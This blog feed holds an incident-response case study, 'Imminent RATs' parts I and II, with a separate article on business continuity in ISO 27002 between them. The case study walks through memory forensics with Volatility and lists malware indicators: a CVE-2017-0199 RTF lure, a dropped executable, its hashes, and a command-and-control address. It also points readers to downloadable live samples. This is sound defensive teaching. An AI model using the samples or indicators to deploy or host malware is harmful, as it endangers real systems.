Many of the security incidents begin with a call from a user complaining that “his computer is slow/ doing something weird/ crashing/ is possessed by Alpha Centauri aliens”. And obviously, the user has never “touched anything/done anything weird/ opened anything/ put any USB with raccoon Dutch porn” on his computer.

In most cases after a more or less extensive research (or after the forceful application of a LART), it is shown that the user has taken some action, so that 95% of the cases users are usually a source of inexhaustible false positives (and of some glorious little battle that cannot be told for the sake of the physical integrity of the author).

However, users are a good source of information when detecting an attack against the Organization. Properly trained, not only are they harder to deceive in a spear-phishing attack but they can also warn us about such attacks, allowing us to respond in some cases in real time (that’s why all the efforts in security awareness are always worthwhile).

In this case we have a call from a standard user: his computer is doing “weird things”, and he swears on his life that “he has not done anything”. As he is not a hyperboss but still a boss of a certain rank, a quick response is necessary, so we quickly head to his computer collecting the necessary equipment to respond to a possible incident: USB memory with triage tools, USB disk for a disk capture and a half-liter coffee.

The user receives us for exactly 20 seconds: enough time to leave the computer on and “go to an urgent meeting”. If necessary, he will see us when he returns. At this point, however, all we need is a basic data capture to determine whether or not we have a security incident.

First of all, a dump of the RAM memory of the computer has to be made, in this case with the DumpIt tool, which has an extremely basic operation.

From the USB Toolbox itself we launched the tool:


The result is a 2Gb file generated directly on the USB stick itself (remember to alter the hard disk as little as possible in case we have to do a forensic analysis later). While we’re at it, we’re going to collect basic triage information with CYLR (which includes, among other things, the Windows registry, logs and MFT, all at a dizzying speed).

[Note: we want to make this case study VERY practical. Therefore, you can download both the RAM dump and the triage from here].

Once the triage information is collected (which should take you <10min on a modern computer), we can go back to our computer to review the data. Memory analysis is usually the technique that offers the best results, so we used Volatility and made two lists of processes with pslist and pstree (tip: in these analyses it is usually necessary to re-check the output of many commands, so it is very useful to redirect the output to a text file):

 
# volatility --profile Win7SP1x64 -f win7_labodfir.raw pslist > pslist.txt
# volatility --profile Win7SP1x64 -f win7_labodfir.raw pstree > pstree.txt

Offset(V)          Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit                          
------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0xfffffa8018da7040 System                    4      0     93      590 ------      0 2018-04-07 08:36:49 UTC+0000                                 
0xfffffa80194ee340 smss.exe                260      4      2       29 ------      0 2018-04-07 08:36:49 UTC+0000                                 
0xfffffa801a29a060 smss.exe                340    260      0 --------      0      0 2018-04-07 08:36:52 UTC+0000   2018-04-07 08:36:55 UTC+0000  
0xfffffa801a29c2f0 csrss.exe               348    340      9      580      0      0 2018-04-07 08:36:52 UTC+0000                                 
0xfffffa801a5a9900 smss.exe                380    260      0 --------      1      0 2018-04-07 08:36:55 UTC+0000   2018-04-07 08:36:55 UTC+0000  
0xfffffa801a5acb10 wininit.exe             388    340      3       78      0      0 2018-04-07 08:36:55 UTC+0000                                 
0xfffffa801a5b3b10 csrss.exe               400    380      9      325      1      0 2018-04-07 08:36:55 UTC+0000                                 
0xfffffa801a5dcb10 winlogon.exe            436    380      3      112      1      0 2018-04-07 08:36:55 UTC+0000                                 
0xfffffa801a66db10 services.exe            496    388      9      232      0      0 2018-04-07 08:36:56 UTC+0000                                 
0xfffffa801a67eb10 lsass.exe               504    388      7      579      0      0 2018-04-07 08:36:56 UTC+0000                                 
0xfffffa801a684b10 lsm.exe                 512    388     10      148      0      0 2018-04-07 08:36:56 UTC+0000                                 
0xfffffa801a532b10 svchost.exe             620    496     11      361      0      0 2018-04-07 08:36:58 UTC+0000                                 
0xfffffa801aa90060 svchost.exe             684    496      9      322      0      0 2018-04-07 08:36:58 UTC+0000                                 
0xfffffa801aac1870 svchost.exe             740    496     23      523      0      0 2018-04-07 08:36:58 UTC+0000                                 
0xfffffa801ab49b10 svchost.exe             832    496     19      450      0      0 2018-04-07 08:36:58 UTC+0000                                 
0xfffffa801ab5f630 svchost.exe             864    496     20      788      0      0 2018-04-07 08:36:59 UTC+0000                                 
0xfffffa801ab8cb10 svchost.exe             912    496     35     1018      0      0 2018-04-07 08:36:59 UTC+0000                                 
0xfffffa801abc1b10 audiodg.exe             996    740      6      136      0      0 2018-04-07 08:36:59 UTC+0000                                 
0xfffffa801ac1ab10 svchost.exe             984    496     15      383      0      0 2018-04-07 08:36:59 UTC+0000                                 
0xfffffa8019c7fb10 spoolsv.exe            1188    496     15      355      0      0 2018-04-07 08:37:00 UTC+0000                                 
0xfffffa8019c88450 taskhost.exe           1196    496     10      282      1      0 2018-04-07 08:37:00 UTC+0000                                 
0xfffffa8019cac600 svchost.exe            1256    496     18      319      0      0 2018-04-07 08:37:00 UTC+0000                                 
0xfffffa801acc6870 svchost.exe            1360    496     10      148      0      0 2018-04-07 08:37:00 UTC+0000                                 
0xfffffa801ad1bb10 Sysmon.exe             1448    496     12      572      0      0 2018-04-07 08:37:00 UTC+0000                                 
0xfffffa8018e61060 vmtoolsd.exe           1524    496      8      295      0      0 2018-04-07 08:37:00 UTC+0000                                 
0xfffffa801a0cf060 unsecapp.exe           1792    620      4       66      0      0 2018-04-07 08:37:02 UTC+0000                                 
0xfffffa801a59a060 WmiPrvSE.exe           1916    620     13      329      0      0 2018-04-07 08:37:03 UTC+0000                                 
0xfffffa801a5de060 dllhost.exe            1932    496      0 --------      0      0 2018-04-07 08:37:03 UTC+0000   2018-04-07 08:40:14 UTC+0000  
0xfffffa801a646060 TPAutoConnSvc.         2000    496     10      141      0      0 2018-04-07 08:37:03 UTC+0000                                 
0xfffffa801a69b060 sppsvc.exe             1312    496      6      153      0      0 2018-04-07 08:37:03 UTC+0000                                 
0xfffffa8018e67600 TPAutoConnect.          648   2000      5      122      1      0 2018-04-07 08:37:06 UTC+0000                                 
0xfffffa8019c33b10 conhost.exe            1080    400      1       34      1      0 2018-04-07 08:37:06 UTC+0000                                 
0xfffffa801a776060 dllhost.exe            2088    496     15      199      0      0 2018-04-07 08:37:09 UTC+0000                                 
0xfffffa801a6e2060 WUDFHost.exe           2232    832      8      192      0      0 2018-04-07 08:37:11 UTC+0000                                 
0xfffffa801a8628f0 msdtc.exe              2296    496     14      154      0      0 2018-04-07 08:37:11 UTC+0000                                 
0xfffffa801ac0d060 VSSVC.exe              2448    496      0 --------      0      0 2018-04-07 08:37:14 UTC+0000   2018-04-07 08:40:14 UTC+0000  
0xfffffa80192ab060 userinit.exe           2504    436      0 --------      1      0 2018-04-07 08:37:14 UTC+0000   2018-04-07 08:37:45 UTC+0000  
0xfffffa8019c52b10 dwm.exe                2512    832      5      126      1      0 2018-04-07 08:37:14 UTC+0000                                 
0xfffffa801a790060 explorer.exe           2536   2504     41     1158      1      0 2018-04-07 08:37:14 UTC+0000                                 
0xfffffa801922e620 vmtoolsd.exe           2616   2536      6      186      1      0 2018-04-07 08:37:17 UTC+0000                                 
0xfffffa801916f720 cmd.exe                2820   2536      1       20      1      0 2018-04-07 08:37:22 UTC+0000                                 
0xfffffa8019182060 conhost.exe            2828    400      2       63      1      0 2018-04-07 08:37:22 UTC+0000                                 
0xfffffa801913cb10 SearchIndexer.         2864    496     13      841      0      0 2018-04-07 08:37:23 UTC+0000                                 
0xfffffa80194d5650 SearchProtocol         2968   2864      0 --------      0      0 2018-04-07 08:37:26 UTC+0000   2018-04-07 08:41:37 UTC+0000  
0xfffffa8019748b10 SearchFilterHo         2992   2864      0 --------      0      0 2018-04-07 08:37:26 UTC+0000   2018-04-07 08:40:26 UTC+0000  
0xfffffa801a5b9360 svchost.exe            1944    496     14      225      0      0 2018-04-07 08:38:21 UTC+0000                                 
0xfffffa801a17bb10 wmpnetwk.exe           1744    496      9      209      0      0 2018-04-07 08:38:22 UTC+0000                                 
0xfffffa8019c45b10 mscorsvw.exe           2476    496      6       87      0      1 2018-04-07 08:39:03 UTC+0000                                 
0xfffffa801a819b10 mscorsvw.exe           2788    496      6       78      0      0 2018-04-07 08:39:03 UTC+0000                                 
0xfffffa801a81a600 svchost.exe            2908    496     13      361      0      0 2018-04-07 08:39:03 UTC+0000                                 
0xfffffa801a745320 TrustedInstall         1980    496      4      120      0      0 2018-04-07 08:39:51 UTC+0000                                 
0xfffffa801a831b10 PING.EXE               1940   2820      0 --------      1      0 2018-04-07 08:40:01 UTC+0000   2018-04-07 08:40:03 UTC+0000  
0xfffffa801a8d7b10 OSPPSVC.EXE            1136    496      6      128      0      0 2018-04-07 08:42:08 UTC+0000                                 
0xfffffa801ab2cb10 python.exe             3020   2536      0 --------      1      0 2018-04-07 08:42:14 UTC+0000   2018-04-07 08:47:34 UTC+0000  
0xfffffa801ab35350 conhost.exe            1760    400      0 --------      1      0 2018-04-07 08:42:15 UTC+0000   2018-04-07 08:47:34 UTC+0000  
0xfffffa801aa38b10 explorer.exe           1132    620      0 --------      1      0 2018-04-07 08:44:09 UTC+0000   2018-04-07 08:45:10 UTC+0000  
0xfffffa801a9c8600 vfggggg.exe            3208   1132      0 --------      1      0 2018-04-07 08:44:09 UTC+0000   2018-04-07 08:44:38 UTC+0000  
0xfffffa801a9c6b10 vfggggg.exe            2072   3208     23      396      1      1 2018-04-07 08:44:25 UTC+0000                                 
0xfffffa801aec0b10 WmiPrvSE.exe           3632    620     13      333      0      1 2018-04-07 08:44:42 UTC+0000                                 
0xfffffa801b55e060 WmiApSrv.exe           3476    496      5      112      0      0 2018-04-07 08:44:50 UTC+0000                                 
0xfffffa801ae88060 WmiPrvSE.exe           3080    620      7      211      0      1 2018-04-07 08:44:55 UTC+0000                                 
0xfffffa801afbc060 SearchProtocol         2952   2864      7      284      0      0 2018-04-07 08:45:39 UTC+0000                                 
0xfffffa801a91f550 SearchFilterHo         2676   2864      5      104      0      0 2018-04-07 08:45:39 UTC+0000                     

  

The vfggggg.exe almost damages our vision of how malicious it looks. This time, it seems that the creators of the malware have not invest any effort on obfuscation techniques. It is curious that the parent is explorer.exe (usually it is a cmd.exe or a Powershell.exe, or we can trace the parents to a browser or email client).

The second most profitable option is usually to recognize network connections with netscan:

# volatility --profile Win7SP1x64 -f win7_labodfir.raw netscan > netscan.txt

Volatility Foundation Volatility Framework 2.5

Offset(P)          Proto    Local Address                  Foreign Address      State            Pid      Owner          Created
0x7deda8c0         UDPv4    0.0.0.0:3702                   *:*      1944     svchost.exe    2018-04-07 08:39:03 UTC+0000
0x7e030010         UDPv4    0.0.0.0:64476                  *:*      864      svchost.exe    2018-04-07 08:38:26 UTC+0000
0x7e030010         UDPv6    :::64476                       *:*       864      svchost.exe    2018-04-07 08:38:26 UTC+0000
0x7e043730         UDPv4    0.0.0.0:5355                   *:*     984      svchost.exe    2018-04-07 08:38:20 UTC+0000
0x7e06bb30         UDPv4    0.0.0.0:3702                   *:*        1944     svchost.exe    2018-04-07 08:39:03 UTC+0000
0x7e06bb30         UDPv6    :::3702                        *:*         1944     svchost.exe    2018-04-07 08:39:03 UTC+0000
0x7e089b30         UDPv4    0.0.0.0:5355                   *:*             984      svchost.exe    2018-04-07 08:38:20 UTC+0000
0x7e089b30         UDPv6    :::5355                        *:*           984      svchost.exe    2018-04-07 08:38:20 UTC+0000
0x7e143010         UDPv4    0.0.0.0:3702                   *:*        864      svchost.exe    2018-04-07 08:39:03 UTC+0000
0x7e0a93b0         TCPv4    0.0.0.0:135                    0.0.0.0:0            LISTENING        684      svchost.exe    
0x7e0ac680         TCPv4    0.0.0.0:135                    0.0.0.0:0            LISTENING        684      svchost.exe    
0x7e0ac680         TCPv6    :::135                         :::0                 LISTENING        684      svchost.exe    
0x7e0af5c0         TCPv4    0.0.0.0:49152                  0.0.0.0:0            LISTENING        388      wininit.exe    
0x7e0b6820         TCPv4    0.0.0.0:49152                  0.0.0.0:0            LISTENING        388      wininit.exe    
0x7e0b6820         TCPv6    :::49152                       :::0                 LISTENING        388      wininit.exe    
0x7e144c80         TCPv4    0.0.0.0:49153                  0.0.0.0:0            LISTENING        740      svchost.exe    
0x7e145010         TCPv4    0.0.0.0:49153                  0.0.0.0:0            LISTENING        740      svchost.exe    
0x7e145010         TCPv6    :::49153                       :::0                 LISTENING        740      svchost.exe    
0x7e0afb10         TCPv6    -:0            6800:a91a:80fa:ffff:6800:a91a:80fa:ffff:0 CLOSED           1        ??=????       
0x7e435010         UDPv4    192.168.25.128:138             *:*      4        System         2018-04-07 08:38:19 UTC+0000
0x7e497ec0         UDPv4    192.168.25.128:137             *:*       4        System         2018-04-07 08:38:19 UTC+0000
0x7e5bdec0         UDPv4    0.0.0.0:3702                   *:*       1944     svchost.exe    2018-04-07 08:39:03 UTC+0000
0x7e5bdec0         UDPv6    :::3702                        *:*        1944     svchost.exe    2018-04-07 08:39:03 UTC+0000
0x7e5be010         UDPv4    0.0.0.0:64475                  *:*        864      svchost.exe    2018-04-07 08:38:26 UTC+0000
0x7e5c1e00         UDPv4    0.0.0.0:3702                   *:*          864      svchost.exe    2018-04-07 08:39:03 UTC+0000
0x7e5c1e00         UDPv6    :::3702                        *:*       864      svchost.exe    2018-04-07 08:39:03 UTC+0000
0x7e74bd40         UDPv4    0.0.0.0:54789                  *:*        1944     svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e752010         UDPv4    0.0.0.0:54790                  *:*        1944     svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e752010         UDPv6    :::54790                       *:*     1944     svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e7d4d00         UDPv4    0.0.0.0:3702                   *:*         864      svchost.exe    2018-04-07 08:39:03 UTC+0000
0x7e7d5340         UDPv4    0.0.0.0:54791                  *:*        864      svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e7d69b0         UDPv4    0.0.0.0:54792                  *:*          864      svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e7d69b0         UDPv6    :::54792                       *:*        864      svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e7d8010         UDPv6    ::1:54794                      *:*     1944     svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e7ec330         UDPv6    fe80::fc4b:861d:db18:9601:54793 *:*   1944 svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e7eca00         UDPv4    192.168.25.128:54795     *:*        1944     svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e7edd00         UDPv4    127.0.0.1:54796                *:*     1944     svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e7ee010         UDPv6    fe80::fc4b:861d:db18:9601:1900 *:*     1944     svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e7ee870         UDPv6    ::1:1900                       *:*     1944     svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e7f0010         UDPv4    192.168.25.128:1900     *:*     1944     svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e7f0950         UDPv4    127.0.0.1:1900                 *:*    1944     svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e7f5520         UDPv4    0.0.0.0:3702                   *:*    864      svchost.exe    2018-04-07 08:39:03 UTC+0000
0x7e7f5520         UDPv6    :::3702                        *:*        864      svchost.exe    2018-04-07 08:39:03 UTC+0000
0x7e44c700         TCPv4    192.168.25.128:139             0.0.0.0:0            LISTENING        4        System         
0x7e7e5010         TCPv4    0.0.0.0:49155                  0.0.0.0:0            LISTENING        496      services.exe   
0x7e7e5010         TCPv6    :::49155                       :::0                 LISTENING        496      services.exe   
0x7e8a4010         TCPv4    0.0.0.0:49155                  0.0.0.0:0            LISTENING        496      services.exe   
0x7ead2360         TCPv4    0.0.0.0:445                    0.0.0.0:0            LISTENING        4        System         
0x7ead2360         TCPv6    :::445                         :::0                 LISTENING        4        System         
0x7ee61630         TCPv4    0.0.0.0:49154                  0.0.0.0:0            LISTENING        912      svchost.exe    
0x7ee63a80         TCPv4    0.0.0.0:49154                  0.0.0.0:0            LISTENING        912      svchost.exe    
0x7ee63a80         TCPv6    :::49154                       :::0                 LISTENING        912      svchost.exe    
0x7f372c40         TCPv4    0.0.0.0:5357                   0.0.0.0:0            LISTENING        4        System         
0x7f372c40         TCPv6    :::5357                        :::0                 LISTENING        4        System         
0x7ee767a0         TCPv6    -:0                            4870:da18:80fa:ffff:4870:da18:80fa:ffff:0 CLOSED           101      3              
0x7f566840         TCPv4    192.168.25.128:49219           91.192.100.59:30030  SYN_SENT         -1                      
0x7fb3bec0         UDPv4    0.0.0.0:0                      *:*     984      svchost.exe    2018-04-07 08:38:17 UTC+0000
0x7fb3bec0         UDPv6    :::0                           *:*    984      svchost.exe    2018-04-07 08:38:17 UTC+0000
0x7fc0a1e0         UDPv4    0.0.0.0:3702                   *:*     1944     svchost.exe    2018-04-07 08:39:03 UTC+0000
0x7fc98a50         TCPv4    0.0.0.0:49156                  0.0.0.0:0            LISTENING        504      lsass.exe      
0x7fc98a50         TCPv6    :::49156                       :::0                 LISTENING        504      lsass.exe      
0x7fc9f940         TCPv4    0.0.0.0:49156                  0.0.0.0:0            LISTENING        504      lsass.exe     

  

We get a rather suspicious IP/port combination: 91.192.100.59:30030. Since port 30030 is not particularly well known, here we might have a lead to continue our investigation.

The third option of interest is to make a list of the open files that are still resident in memory with filescan:

# volatility --profile Win7SP1x64 -f win7_labodfir.raw filescan > filescan.txt

  

Since we have a suspicious file name, we can search for it:

# fgrep vfggggg.exe filescan.txt
0x000000007e272a90     14      0 R--r-d \Device\HarddiskVolume1\Users\antonio\AppData\Roaming\vfggggg.exe

  

We verify that the file is located in a user folder, a very common location for newly landed malware on a computer. Let’s extract it from memory with dumpfiles:

# mkdir dump
# volatility --profile Win7SP1x64 -f win7_labodfir.raw dumpfiles -Q 0x000000007e272a90 -u -n -D dump

  

We obtain basic information from the file using file and exiftool:

# file file.None.0xfffffa801ae09e30.vfggggg.exe.img 
file.None.0xfffffa801ae09e30.vfggggg.exe.img: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

# exiftool file.None.0xfffffa801ae09e30.vfggggg.exe.img 
ExifTool Version Number         : 9.46
File Name                       : file.None.0xfffffa801ae09e30.vfggggg.exe.img
Directory                       : .
File Size                       : 4.0 kB
File Modification Date/Time     : 2018:04:07 14:52:57-04:00
File Access Date/Time           : 2018:04:07 14:53:34-04:00
File Inode Change Date/Time     : 2018:04:07 14:52:57-04:00
File Permissions                : rw-r--r--
File Type                       : Win32 EXE
MIME Type                       : application/octet-stream
Machine Type                    : Intel 386 or later, and compatibles
Time Stamp                      : 2017:06:24 06:53:40-04:00
PE Type                         : PE32
Linker Version                  : 8.0
Code Size                       : 371712
Initialized Data Size           : 580096
Uninitialized Data Size         : 0
Entry Point                     : 0xf000a
OS Version                      : 4.0
Image Version                   : 0.0
Subsystem Version               : 4.0
Subsystem                       : Windows GUI
Warning                         : Error processing PE data dictionary

  

The file seems to be our culprit (an unrecognized PE32 executable in user space is like a smoking gun next to a corpse), but in this case the size does not match: 4Kb, which indicates that it could not be extracted correctly from the memory.

We continue to explore the available evidence, in this case the MFT (Master File Table) collected by CYLR, which will give us a good clue of the files that were operational at the time of infection. Our goal is to find the way in which the malware reached the system, usually one of these three: mail, browsing or USB.

The MFT is raw extracted thanks to the magic of CYLR, but we need to convert it to a readable format, so we use the mftdump.exe tool to parse it and convert it into a 71Mb file with 175K entries.


Since we are only interested in today, we can only extract the files modified during the day:

# fgrep 2018-04-07 mft_parseada.csv > mft_malware.csv
# wc mft_malware.csv
   457  18333 145101 mft_malware.csv

 

The operation leaves us 457 events, something much more manageable and that we can open without fear in a LibreOffice Calc for its examination. It does not cost much to locate the vfggggg.exe and check the files that are around it:

25645 0 0 0     Purchase Order 03EDG.doc	PURCHA~1.DOC	2018-04-07 08:42:00 2018-04-07 08:42:29
2018-04-07 08:42:29	2018-04-07 08:42:29	
16508	0	1	0	Content.Word	CONTEN~1.WOR	2018-04-07 08:42:07	2018-04-07 08:45:39	2018-04-07 08:45:39	2018-04-07 08:45:39
25612	0	1	0	Content.Outlook	CONTEN~1.OUT	2018-04-07 08:42:29	2018-04-07 08:42:29	2018-04-07 08:42:29	2018-04-07 08:42:29
89905	0	0	0	test 02.exe	TEST02~1.EXE	2018-04-07 08:43:53	2018-04-07 08:43:53	2018-04-07 08:43:54	2018-04-07 08:43:54	952832
89897	0	0	0	vfggggg.exe			2018-04-07 08:44:02	2018-04-07 08:44:02	2018-04-07 08:43:54	2018-04-07 08:43:54	952832

 

The file “Purchase Order 03EDG.doc” has every chance of being the vector of infection. We can see that there are residues of the existence of both Word and Outlook, so the infection chain seems quite basic: the user has received an email in Outlook with a malicious attachment and opened it directly with Word.

We have already located the files we want to recover from the user’s hard drive, but before moving on, we will ensure the operation by removing the heavy artillery with the Volatility strings command (which is done in two stages because we have to extract all the useful chains from the memory dump beforehand):

$ strings -a -td win7_labodfir.raw > strings_win7.txt
$ strings -a -td -el win7_labodfir.raw >> strings_win7.txt 
$ volatility --profile Win7SP1x64 -f win7_labodfir.raw strings  -s strings_win7.txt > strings_vol.txt

 

We scan the Netscan IP address and confirm that it is related to our malware:

# fgrep  91.192.100.59 strings_vol.txt

71148752 [FREE MEMORY:-1] "10:45:08,6998260","vfggggg.exe","2072","TCP Reconnect","192.168.25.128:49179 -> 91.192.100.59:30030","SUCCESS","Length: 0, seqnum: 0, connid: 0","0","C:\Users\antonio\AppData\Roaming\vfggggg.exe"

441241253 [FREE MEMORY:-1] "10:45:40,6802302","vfggggg.exe","2072","TCP Reconnect","192.168.25.128:49186 -> 91.192.100.59:30030","SUCCESS","Length: 0, seqnum: 0, connid: 0","0","C:\Users\antonio\AppData\Roaming\vfggggg.exe"

 

We investigate other traces of TCP connections in memory with “TCP Send”, “TCP Receive” and “TCP Reconnect”:

# egrep "TCP Send|TCP Reveive|TCP Reconnect" strings_vol.txt

  

We find several links of interest:

1536769087 [2676:00962c3f] 10:42:21,1402019,Network,TCP Send,OUTLOOK.EXE,1128,208.97.132.208:143
438082728 [2676:014baca8] 10:43:53,3557447,Network,TCP Send,powershell.exe,3456,185.83.215.16:443
1161326462 [2952:00299f7e] 10:43:47,6837408,Network,TCP Send,mshta.exe,1236,185.83.215.16:443
519710651 [FREE MEMORY:-1] 10:43:45,8308037,Network,TCP Send,WINWORD.EXE,3744,185.83.215.16:443
519710839 [FREE MEMORY:-1] 10:43:46,3235312,Network,TCP Send,WINWORD.EXE,3744,178.255.83.1:80

  

Apparently, we do have an Outlook in play, as well as some very suspicious connections of both Word and Powershell. We could go over the content of the strings_vol.txt more, but we already have all the related clues, so we can proceed to recover the suspicious files from the user’s computer: “Purchase Order 03EDG.doc” and “vfggggg.exe”, in addition to the user’s .pst (which stores his mail).

We start the computer with a Linux live CD, mount the disk and locate the files that interest us (for now, it does not seem necessary to make a complete forensic copy of the hard drive). The analysis of malicious files, in the following article…

La entrada Case study: “Imminent RATs” (I) aparece primero en Security Art Work.

Business continuity in ISMS?

$
0
0

This article analyzes what has changed in the ISO 27002 series of standards regarding business continuity.

Introduction

This article discusses the possible overlap between two disciplines that are quite related to each other, although each one has its own specific area: information security and business continuity. In particular, it analyzes how the two reference standards (ISO 27001 and ISO 22301) are overlapped or not.

In a separate article I will discuss where the two worlds come together and how the implementation of both standards can be carried out without falling into unnecessary redundancies.

The reason for writing this article is because, on many occasions, I have been told things like:

  • “If I have a certified ISMS, then I already have business continuity.”
  • “For an organization to comply with the controls of Chapter 17 of ISO 27002, it is enough that it has a BIA and a DRP.”

The above statements are, in my opinion, incorrect and are based on a number of reasons, including, principally, the following:

  1. Misunderstanding or limited understanding of what business continuity really is.
  2. The modification of the ISO 27001/27002 standards in this aspect.

The first of these reasons is quite common, since, unlike other countries in which business continuity is very widespread, in Spain there are very few sectors, basically the financial sector, that require its implementation. I do not intend, nor could I, to solve this lack in a single article, although I do encourage you to consult the excellent publications on the subject found in this forum.

Turning to the second reason, let us first analyze how business continuity has been handled by the different versions of the ISO 27001 and ISO 27002 standards, and how what is expressed there continues to drag on to date, although what is now requested has changed considerably.

First, we will move back a few years.

Background information

The current ISO 27002 dates from 2013 in its English version, but comes from a long line of standards, some already ISO, but others were the venerable BS7799, the first of 1999.

Well, in all of them, up to ISO 27002 in 2005, there was a set of business continuity controls through which the organization was required to implement something similar to a business continuity management. For example, it was requested that:

  • The organization should have a complete continuity management framework
  • That impact and risk analyses should be carried out.
  • That continuity plans should be written.
  • That these should be tested regularly.

So auditors, when verifying whether these controls were applied, requested, for example, the BIAs, a Contingency Plan and evidence that it had ever been tested.

However, and this is a personal opinion, the business continuity requirements set out in ISO 27002 were slightly confusing and incomplete.

These shortcomings were replaced by other standards, then in “British Standard” format (BS 25999-1/2), which provided much of the background for a new international business continuity standard, ISO 22301 in 2012.

Consequently, when it was time to review ISO 27002, it no longer made sense to come and request what was already requested in another standard, so its 2013 version introduced relevant changes.

Current situation

And what has changed? After all, many will say, there is still a demand for business continuity, or that’s what it seems, isn’t it? The truth is that things have taken an interesting twist.

Moving on to the requirement of the standard itself: Section 17.1 states as an objective that “information security continuity should be part of the organization’s business continuity management systems”.

To be specific, control 17.1.1 states that “the organization should determine its information security and continuity needs for information security management in adverse situations, for example, during a crisis or disaster”.

Imagine, for example, a bank that decides to address business continuity, starting by identifying important a priori business functions and then carrying out the corresponding BIAs. Suppose that these functions include the areas of Investments, Customer Service, Mortgage Management, Anti-Fraud, etc.

Moreover, the bank has a well-defined contingency strategy and, in the case of unavailability of its headquarters, has alternative offices to which to move the critical staff of those business functions, with the infrastructure, communications and systems necessary to recover the operation in a few hours.

However, this bank has deployed a SIEM that constantly monitors its infrastructure and operations, and a team of people who handle internal and external security incidents on a 24×7 basis, as well as managing and operating the security infrastructure (firewall, AV, IPS, etc.). These personnel do not have an alternative location assigned in the contingency offices, not to mention that some of the security elements are not redundant either.

As sometimes happens, these “ICT” tasks have not been considered important and therefore have not been analyzed. However, had they been carried out, they would have shown as critical; for operational and compliance reasons, the bank cannot operate without SIEM or the incident management and security management service, as the fraud levels could rise, among other undesirable consequences.

So this organization would not be following ISO 27002, because the basic question has not been asked: “What impact would it have if the tasks in the area of information security were interrupted?”.

We are not saying that, necessarily, information security must be placed at the same level as the most critical of the organization’s activities. Information security must be included in the analysis, strategies must be defined in line with the RTO and RPO, there should be plans for recovery, and it should be part of the contingency testing program.

So, the situation is quite simple: to see if a company complies with the controls in section 17.1 of ISO 27002:2013, we should look whether the information security aspect is included in the list of organizational areas to which business continuity applies, if only to conclude that, in the event of a contingency, the organization can continue functioning without the infosec function (what I find rather strange).

La entrada Business continuity in ISMS? aparece primero en Security Art Work.

Case study: “Imminent RATs” (II)

$
0
0

Analysis (follow-up)

In the previous article, we had determined there was “something weird” in the computer, and we had downloaded both, a possibly malicious .doc and a user executable and mailbox. It’s time to get down to work to see what they may contain…

[Note: As a good security practice, malicious files should NEVER be shared without minimal protection. Therefore, you can download both files from here, but they are zipped with the password “infected”. Please, handle them with extreme care, you’ve been warned.]

To start with, we can open the user’s .pst to verify that the infection path is correct, something we can easily do from Windows with the Kernel Outlook PST Viewer:

We have already confirmed the entry path (and let’s not forget to write down the metadata of the email, which will be very useful in the contention phase), so we can focus on the two malicious files. The first thing we do is calculate the hashes (usually, it is advisable to calculate both MD5 and SHA256, the first one because it is still widely used and the second one to avoid collisions):

# md5sum vfggggg.exe Purchase\ Order\ 03EDG.doc 
b4f28747a0a9317123f0ef109c580844  vfggggg.exe
f48ca1a55120e5a5ff43962ccc8db1a2  Purchase Order 03EDG.doc

# sha256sum vfggggg.exe Purchase\ Order\ 03EDG.doc 
1dd788c038b4d8d2d3302d7a33162322d0896c7d17888e2fa34204b66c9aee50  vfggggg.exe
18ac90e921eac40200ec2b4508d3760149d4c9e931c96b5447a711ddf7d1b3e7 Purchase Order 03EDG.doc

 

And by the way, we get some additional information with file and exiftool:

#file Purchase\ Order\ 03EDG.doc vfggggg.exe 

Purchase Order 03EDG.doc: Rich Text Format data, unknown version
vfggggg.exe:              PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

exiftool Purchase\ Order\ 03EDG.doc vfggggg.exe 
======== Purchase Order 03EDG.doc
ExifTool Version Number         : 9.46
File Name                       : Purchase Order 03EDG.doc
Directory                       : .
File Size                       : 221 kB
File Modification Date/Time     : 2018:04:03 09:52:46-04:00
File Access Date/Time           : 2018:04:08 04:06:49-04:00
File Inode Change Date/Time     : 2018:04:08 04:05:26-04:00
File Permissions                : rw-r--r--
Error                           : File format error

======== vfggggg.exe
ExifTool Version Number         : 9.46
File Name                       : vfggggg.exe
Directory                       : .
File Size                       : 930 kB
File Modification Date/Time     : 2018:04:03 07:39:44-04:00
File Access Date/Time           : 2018:04:08 04:13:43-04:00
File Inode Change Date/Time     : 2018:04:08 04:05:26-04:00
File Permissions                : rw-r--r--
File Type                       : Win32 EXE
MIME Type                       : application/octet-stream
Machine Type                    : Intel 386 or later, and compatibles
Time Stamp                      : 2017:06:24 06:53:40-04:00
PE Type                         : PE32
Linker Version                  : 8.0
Code Size                       : 371712
Initialized Data Size           : 580096
Uninitialized Data Size         : 0
Entry Point                     : 0xf000a
OS Version                      : 4.0
Image Version                   : 0.0
Subsystem Version               : 4.0
Subsystem                       : Windows GUI
File Version Number             : 1.0.0.0
Product Version Number          : 1.0.0.0
File Flags Mask                 : 0x003f
File Flags                      : (none)
File OS                         : Win32
Object File Type                : Executable application
File Subtype                    : 0
Language Code                   : Neutral
Character Set                   : Unicode
Comments                        : 
Company Name                    : 
File Description                : 
File Version                    : 1.0.0.0
Internal Name                   : mndgrhsz.exe
Legal Copyright                 : Copyright ©  2018
Legal Trademarks                : 
Original Filename               : mndgrhsz.exe
Product Name                    : 
Product Version                 : 1.0.0.0
Assembly Version                : 1.0.0.0

 

Clearly, the second file is an exec file. However, the first file seems to be a .doc but it turns out to be an .rtf (common vector for several old and new exploits).

We look for hashes in VirusTotal to check whether the malware is public or not:

  • Purchase Order 03EDG.doc (9/57 on VT), looks like a malicious document that exploits CVE-2017-0199, a Word vulnerability.
  • VirusTotal Link

  •  vfggggg.exe (10/66 on VT), an unidentified malware a priori.
